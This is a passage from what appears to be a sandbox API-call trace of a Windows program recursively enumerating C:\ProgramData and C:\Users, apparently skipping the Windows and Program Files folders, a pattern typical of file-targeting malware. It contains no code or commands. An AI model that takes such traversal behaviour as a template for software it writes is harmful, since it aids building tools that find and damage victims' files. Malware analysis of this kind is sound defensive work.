lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0040.224] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.224] lstrcmpW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0040.224] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0040.224] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0040.224] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0040.224] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.224] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.224] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.224] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1 [0040.224] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1 [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.224] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0040.224] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0040.224] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0040.225] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0040.225] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.225] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.225] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.225] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.225] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.225] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.225] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0040.225] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0040.225] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0040.225] lstrlenW (lpString="state.rsm") returned 9 [0040.225] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0040.225] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 77 [0040.225] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.225] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2=".") returned 1 [0040.225] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2="..") returned 1 [0040.225] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0040.225] lstrlenW (lpString="VC_redist.x86.exe") returned 17 [0040.225] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="VC_redist.x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0040.225] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 85 [0040.225] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.225] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.225] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.225] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1 [0040.225] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1 [0040.225] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.225] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49 [0040.225] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0040.225] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0040.225] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned 79 [0040.225] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0040.225] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.225] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.225] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.225] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.225] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.225] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.225] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.225] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.225] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned 79 [0040.225] lstrlenW (lpString="packages") returned 8 [0040.225] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0040.225] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.226] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.226] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.226] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.226] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.226] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2=".") returned 1 [0040.226] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2="..") returned 1 [0040.226] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.226] lstrlenW (lpString="regid.1991-06.com.microsoft") returned 27 [0040.226] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="regid.1991-06.com.microsoft" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft") returned="c:\\ProgramData\\regid.1991-06.com.microsoft" [0040.226] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft", lpString2="\\" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\" [0040.226] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0040.226] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="*" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\*") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\*" [0040.226] FindFirstFileW (in: lpFileName="c:\\ProgramData\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.226] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.226] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.226] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2=".") returned 1 [0040.226] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2="..") returned 1 [0040.226] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0040.226] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 82 [0040.226] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0040.226] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 125 [0040.226] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.227] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2=".") returned 1 [0040.227] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2="..") returned 1 [0040.227] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0040.227] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 78 [0040.227] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0040.227] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 121 [0040.227] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.227] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2=".") returned 1 [0040.227] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2="..") returned 1 [0040.227] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0040.227] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 81 [0040.227] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0040.227] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 124 [0040.227] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.227] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.227] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.227] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0040.227] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0040.227] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.227] lstrlenW (lpString="Start Menu") returned 10 [0040.227] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Start Menu" | out: lpString1="c:\\ProgramData\\Start Menu") returned="c:\\ProgramData\\Start Menu" [0040.227] lstrcatW (in: lpString1="c:\\ProgramData\\Start Menu", lpString2="\\" | out: lpString1="c:\\ProgramData\\Start Menu\\") returned="c:\\ProgramData\\Start Menu\\" [0040.227] lstrlenW (lpString="c:\\ProgramData\\Start Menu\\") returned 26 [0040.227] lstrcatW (in: lpString1="c:\\ProgramData\\Start Menu\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Start Menu\\*") returned="c:\\ProgramData\\Start Menu\\*" [0040.227] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Start Menu\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0xffffffff [0040.228] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.228] lstrcmpW (lpString1="Sun", lpString2=".") returned 1 [0040.228] lstrcmpW (lpString1="Sun", lpString2="..") returned 1 [0040.228] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.228] lstrlenW (lpString="Sun") returned 3 [0040.228] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Sun" | out: lpString1="c:\\ProgramData\\Sun") returned="c:\\ProgramData\\Sun" [0040.228] lstrcatW (in: lpString1="c:\\ProgramData\\Sun", lpString2="\\" | out: lpString1="c:\\ProgramData\\Sun\\") returned="c:\\ProgramData\\Sun\\" [0040.228] lstrlenW (lpString="c:\\ProgramData\\Sun\\") returned 19 [0040.228] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Sun\\*") returned="c:\\ProgramData\\Sun\\*" [0040.228] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Sun\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.228] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.228] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.228] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.228] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.228] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.228] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0040.228] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0040.228] lstrlenW (lpString="c:\\ProgramData\\Sun\\") returned 19 [0040.228] lstrlenW (lpString="Java") returned 4 [0040.228] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\", lpString2="Java" | out: lpString1="c:\\ProgramData\\Sun\\Java") returned="c:\\ProgramData\\Sun\\Java" [0040.228] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java", lpString2="\\" | out: lpString1="c:\\ProgramData\\Sun\\Java\\") returned="c:\\ProgramData\\Sun\\Java\\" [0040.228] lstrlenW (lpString="c:\\ProgramData\\Sun\\Java\\") returned 24 [0040.228] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Sun\\Java\\*") returned="c:\\ProgramData\\Sun\\Java\\*" [0040.228] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.228] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.228] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.228] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.228] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.228] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.228] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0040.228] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0040.228] lstrlenW (lpString="c:\\ProgramData\\Sun\\Java\\") returned 24 [0040.228] lstrlenW (lpString="Java Update") returned 11 [0040.228] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java\\", lpString2="Java Update" | out: lpString1="c:\\ProgramData\\Sun\\Java\\Java Update") returned="c:\\ProgramData\\Sun\\Java\\Java Update" [0040.228] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.228] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.228] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.228] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.229] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.229] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0040.229] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0040.229] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0040.229] lstrlenW (lpString="Templates") returned 9 [0040.229] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Templates" | out: lpString1="c:\\ProgramData\\Templates") returned="c:\\ProgramData\\Templates" [0040.229] lstrcatW (in: lpString1="c:\\ProgramData\\Templates", lpString2="\\" | out: lpString1="c:\\ProgramData\\Templates\\") returned="c:\\ProgramData\\Templates\\" [0040.229] lstrlenW (lpString="c:\\ProgramData\\Templates\\") returned 25 [0040.229] lstrcatW (in: lpString1="c:\\ProgramData\\Templates\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Templates\\*") returned="c:\\ProgramData\\Templates\\*" [0040.229] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Templates\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0xffffffff [0040.229] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0 [0040.229] FindClose (in: hFindFile=0x775cd8 | out: hFindFile=0x775cd8) returned 1 [0040.229] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.229] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0040.229] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0040.229] lstrcmpW (lpString1="Recovery", lpString2="Windows") returned -1 [0040.229] lstrcmpW (lpString1="Recovery", lpString2="Program Files") returned 1 [0040.229] lstrlenW (lpString="c:\\") returned 3 [0040.229] lstrlenW (lpString="Recovery") returned 8 [0040.229] lstrcatW (in: lpString1="c:\\", lpString2="Recovery" | out: lpString1="c:\\Recovery") returned="c:\\Recovery" [0040.229] lstrcatW (in: lpString1="c:\\Recovery", lpString2="\\" | out: lpString1="c:\\Recovery\\") returned="c:\\Recovery\\" [0040.229] lstrlenW (lpString="c:\\Recovery\\") returned 12 [0040.229] lstrcatW (in: lpString1="c:\\Recovery\\", lpString2="*" | out: lpString1="c:\\Recovery\\*") returned="c:\\Recovery\\*" [0040.229] FindFirstFileW (in: lpFileName="c:\\Recovery\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0xffffffff [0040.229] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.229] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0040.229] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0040.229] lstrcmpW (lpString1="System Volume Information", lpString2="Windows") returned -1 [0040.229] lstrcmpW (lpString1="System Volume Information", lpString2="Program Files") returned 1 [0040.229] lstrlenW (lpString="c:\\") returned 3 [0040.229] lstrlenW (lpString="System Volume Information") returned 25 [0040.229] lstrcatW (in: lpString1="c:\\", lpString2="System Volume Information" | out: lpString1="c:\\System Volume Information") returned="c:\\System Volume Information" [0040.229] lstrcatW (in: lpString1="c:\\System Volume Information", lpString2="\\" | out: lpString1="c:\\System Volume Information\\") returned="c:\\System Volume Information\\" [0040.229] lstrlenW (lpString="c:\\System Volume Information\\") returned 29 [0040.229] lstrcatW (in: lpString1="c:\\System Volume Information\\", lpString2="*" | out: lpString1="c:\\System Volume Information\\*") returned="c:\\System Volume Information\\*" [0040.229] FindFirstFileW (in: lpFileName="c:\\System Volume Information\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0xffffffff [0040.229] FindNextFileW (in: hFindFile=0x775c98, lpFindFileData=0x3df284 | out: lpFindFileData=0x3df284) returned 1 [0040.229] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0040.229] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0040.229] lstrcmpW (lpString1="Users", lpString2="Windows") returned -1 [0040.229] lstrcmpW (lpString1="Users", lpString2="Program Files") returned 1 [0040.229] lstrlenW (lpString="c:\\") returned 3 [0040.229] lstrlenW (lpString="Users") returned 5 [0040.229] lstrcatW (in: lpString1="c:\\", lpString2="Users" | out: lpString1="c:\\Users") returned="c:\\Users" [0040.230] lstrcatW (in: lpString1="c:\\Users", lpString2="\\" | out: lpString1="c:\\Users\\") returned="c:\\Users\\" [0040.230] lstrlenW (lpString="c:\\Users\\") returned 9 [0040.230] lstrcatW (in: lpString1="c:\\Users\\", lpString2="*" | out: lpString1="c:\\Users\\*") returned="c:\\Users\\*" [0040.230] FindFirstFileW (in: lpFileName="c:\\Users\\*", lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 0x775cd8 [0040.230] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.230] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.230] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.230] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.230] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.230] lstrcmpW (lpString1="aETAdzjz", lpString2=".") returned 1 [0040.230] lstrcmpW (lpString1="aETAdzjz", lpString2="..") returned 1 [0040.230] lstrlenW (lpString="c:\\Users\\") returned 9 [0040.230] lstrlenW (lpString="aETAdzjz") returned 8 [0040.230] lstrcatW (in: lpString1="c:\\Users\\", lpString2="aETAdzjz" | out: lpString1="c:\\Users\\aETAdzjz") returned="c:\\Users\\aETAdzjz" [0040.230] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\") returned="c:\\Users\\aETAdzjz\\" [0040.230] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.230] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\*") returned="c:\\Users\\aETAdzjz\\*" [0040.230] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.230] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.230] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.230] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.230] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.230] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.230] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0040.230] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0040.230] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.230] lstrlenW (lpString="AppData") returned 7 [0040.230] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="AppData" | out: lpString1="c:\\Users\\aETAdzjz\\AppData") returned="c:\\Users\\aETAdzjz\\AppData" [0040.230] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\") returned="c:\\Users\\aETAdzjz\\AppData\\" [0040.230] lstrlenW (lpString="c:\\Users\\aETAdzjz\\AppData\\") returned 26 [0040.230] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\AppData\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\AppData\\*") returned="c:\\Users\\aETAdzjz\\AppData\\*" [0040.230] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\AppData\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.230] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.230] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: 